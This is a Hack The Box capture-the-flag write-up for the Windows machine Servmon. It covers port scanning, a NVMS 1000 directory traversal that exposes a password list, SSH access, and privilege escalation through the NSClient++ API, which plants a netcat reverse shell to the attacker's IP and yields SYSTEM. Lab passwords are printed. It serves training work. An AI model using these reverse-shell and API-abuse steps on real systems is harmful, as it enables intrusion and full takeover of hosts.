Servmon - HackTheBox

Servmon is an easy Windows machine on Hack The Box. We will get some passwords from a path traversal vulnerability and exploit a misconfigured monitoring app running as Administrator.

Information gathering#

Let's start with a port scan:

$ nmap -A -T4 10.10.10.184
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 14:49 UTC
Warning: 10.10.10.184 giving up on port because retransmission cap hit (6).
Stats: 0:02:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 77.78% done; ETC: 14:52 (0:00:28 remaining)
Nmap scan report for 10.10.10.184
Host is up (0.057s latency).
Not shown: 874 closed ports, 117 filtered ports
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20  12:05PM       <DIR>          Users
| ftp-syst:
|_  SYST: Windows_NT
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
|   256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|_  256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
80/tcp   open  http
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|     AuthInfo:
|   GetRequest, HTTPOptions, RTSPRequest:
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo:
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|_    </html>
|_http-title: Site doesn't have a title (text/html).
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5666/tcp open  tcpwrapped
6699/tcp open  napster?
8443/tcp open  ssl/https-alt
| fingerprint-strings:
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest:
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|_    2585
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
|_ssl-date: TLS randomness does not represent time
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.80%I=7%D=6/20%Time=5EEE223E%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\nCon
SF:tent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n\xe
SF:f\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\.0\
SF:x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-tra
SF:nsitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/xhtm
SF:l\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x20<s
SF:cript\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x20w
SF:indow\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\x20
SF:</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(HTTPOption
SF:s,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\nContent-
SF:Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n\xef\xbb
SF:\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\.0\x20Tr
SF:ansitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-transiti
SF:onal\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/xhtml\">\
SF:r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x20<script
SF:\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x20window
SF:\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\x20</scr
SF:ipt>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(RTSPRequest,1B4
SF:,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\nContent-Lengt
SF:h:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n\xef\xbb\xbf<
SF:!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\.0\x20Transit
SF:ional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-transitional\
SF:.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/xhtml\">\r\n<h
SF:ead>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x20<script\x20t
SF:ype=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x20window\.loc
SF:ation\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\x20</script>\
SF:r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(FourOhFourRequest,65
SF:,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-type:\x20text/html\r\nCon
SF:tent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.80%T=SSL%I=7%D=6/20%Time=5EEE2243%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,122,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocatio
SF:n:\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\x002585\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0s\0d\0a\0y\0:\0T\0h\0u\0:\0T\0h\0u\0r\0s\0d\0a\0y\0:\0F\0r
SF:\0i\0:\0F\0r\0i\0d\0a\0y\0:\0S\0a\0t\0:\0S\0a\0t\0u\0r\0d\0a\0y\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0\0\0\0\0to")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Len
SF:gth:\x2018\r\n\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HT
SF:TP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found
SF:")%r(RTSPRequest,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nD
SF:ocument\x20not\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-
SF:Length:\x2018\r\n\r\nDocument\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1m34s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-06-20T14:54:35
|_  start_date: N/A

There's a FTP server running on port 21, a SSH server on port 22 (unusual for windows machines) and a HTTP server on port 80. Let's start from the FTP server:

Navigating inside Users we can find two files. Here's the content of Nadine/Confidential.txt:

Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine

And the content of Nathan/Notes to do.txt:

1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

Let's keep this stuff in mind. The HTTP server shows us a login and there's not much that we can do:

Finding some credentials#

Searchsploit reveals some path traversal exploits for nvms:

$ searchsploit nvms
------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                              |  Path
------------------------------------------------------------------------------------------------------------ ---------------------------------
NVMS 1000 - Directory Traversal                                                                             | hardware/webapps/47774.txt
OpenVms 5.3/6.2/7.x - UCX POP Server Arbitrary File Modification                                            | multiple/local/21856.txt
OpenVms 8.3 Finger Service - Stack Buffer Overflow                                                          | multiple/dos/32193.txt
TVT NVMS 1000 - Directory Traversal                                                                         | hardware/webapps/48311.py
------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

I couldn't get any to work tho, because the python library requests removes the dots from the url, but luckily there's an exploit in metasploit. Let's use it:

Let's read the file that metasploit downloaded:

$ cat ~/.msf4/loot/20200620132830_default_10.10.10.184_nvms.traversal_215539.txt
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

It works! Now we can use it do download the file contaning the passwords in Nathan's home. Let's change the option to set FILEPATH /Users/Nathan/Desktop/Passwords.txt, and let's read the file:

$ cat ~/.msf4/loot/20200620133131_default_10.10.10.184_nvms.traversal_704303.txt
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

Getting a shell#

Using CrackMapExec we can try to bruteforce smb:

Trying to login in with smbclient doesn't give us acces to anything, but remember the ssh server? Let's try the password against it!

$ ssh nadine@10.10.10.184
The authenticity of host '10.10.10.184 (10.10.10.184)' can't be established.
ECDSA key fingerprint is SHA256:l00hI7FlitUwW9ndgFDHLzImSDNxQcjLOKxQPRmbzls.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.184' (ECDSA) to the list of known hosts.
nadine@10.10.10.184's password:
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

nadine@SERVMON C:\Users\Nadine>

Let's search for user flag:

nadine@SERVMON C:\Users\Nadine\Desktop>icacls user.txt
user.txt SERVMON\Administrator:(F)
         SERVMON\Nadine:(RX)

Successfully processed 1 files; Failed processing 0 files

Privilege escalation#

One thing that we did not investigate is the HTTP server on port 8443, let's visit it:

There's an exploit for NSClient++ that leverages on the fact that it's running as Administrator, and we can schedule scripts execution.

We can read the admin password in C:\Program Files\NSClient++\nsclient.ini:

; Undocumented key
password = ew2x6SsGTxjRwXOT

But we are not allowed to login from any host, because of this line in the configuration file:

; Undocumented key
allowed hosts = 127.0.0.1

Luckily there's an API that we can use from the SSH sesssion.

After copying a netcat executable with scp, let's add a script to NSClient with:

nadine@SERVMON C:\Users\Nadine>curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/hack.bat --data-binary "C:\Temp\nc.exe 10.10.14.81 1337 -e cmd.exe"
Enter host password for user 'admin':
Added hack as scripts\hack.bat

Let's start a netcat listener on our machine and trigger the execution of the script with:

nadine@SERVMON C:\Users\Nadine>curl -s -k -u admin https://localhost:8443/api/v1/queries/hack/commands/execute?time=1m

Let's take a look at the listner:

$ nc -lnvp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 172.17.0.1.
Ncat: Connection from 172.17.0.1:48222.
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Program Files\NSClient++>

Let's check the user that the shell is running on:

C:\Program Files\NSClient++>whoami
nt authority\system

That's it! Thanks for reading!